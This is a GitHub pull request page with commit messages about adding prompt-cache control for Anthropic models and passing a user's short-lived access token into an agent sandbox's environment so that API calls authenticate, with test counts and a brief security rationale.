Production behavior reproducer (Haiku 4.5, identical 2-turn prompt
to both backends):
  api prod (broken): turn1 cacheWrite=0 cacheRead=0 cost=$0.005952
                     turn2 cacheWrite=0 cacheRead=0 cost=$0.005959
                     → flat cost; full input billed every turn.
  open-agents prod:  turn1 cacheWrite=10966 cacheRead=0
                     turn2 cacheWrite=12    cacheRead=10966 cost drops 12x
                     → near-full prefix re-read from cache on turn 2.

After this PR, api should match open-agents' caching curve.

Tests: 19 new (7 isAnthropicModel + 5 addCacheControlToTools + 5
addCacheControlToMessages + 2 runAgentStep wiring assertions); full
suite 3138/3138 pass; lint clean.

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): forward Privy JWT as RECOUP_ACCESS_TOKEN (Bundle A.4) (#601)

Fifth and final open-agents → api cutover bundle. The chat UI sends a
short-lived Privy JWT in the workflow request body as
`recoupAccessToken`. Today api silently strips it via Zod's default
`.strip()` mode and never plumbs it into the sandbox env, so the
`recoup-api` skill's curl examples can't authenticate as the user.

Production reproducer (today, before this fix):
  api prod:        recoup-api skill loads. curl returns
                   "RECOUP_ACCESS_TOKEN is not set" → 401.
                   Agent: "you need to sign in."
  open-agents prod: recoup-api skill loads. curl returns HTTP 200
                   with the user's account_id.

Plumbing (all three layers TDD red → green):
- lib/chat/validateChatWorkflow.ts — accept
  `recoupAccessToken: z.string().min(1).max(8192).optional()` in the
  body schema. Open-agents-shape compatible.
- lib/agent/tools/AgentContext.ts — add `recoupAccessToken?: string`
  field. Mirrors open-agents'
  `packages/agent/types.ts:29`.
- lib/chat/handleChatWorkflowStream.ts — conditionally spread the
  token into `agentContext` when validator surfaced it.
- lib/agent/tools/buildRecoupExecEnv.ts — inject
  `RECOUP_ACCESS_TOKEN` into the sandbox exec env when the field is
  set. The recoup-api skill's curl examples reference this env var.

Security note: only forward the token when the caller sent it in the
body (chat UI path). x-api-key callers don't set this field, so their
long-lived `recoup_sk_…` key is never exfiltratable from the sandbox
env. Maintained from the prior code comment.

Tests: 5 new (3 buildRecoupExecEnv + 1 validator + 1 handler);
plus 1 handler omit-when-undefined assertion. Full suite 3144/3144
pass; lint clean.

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant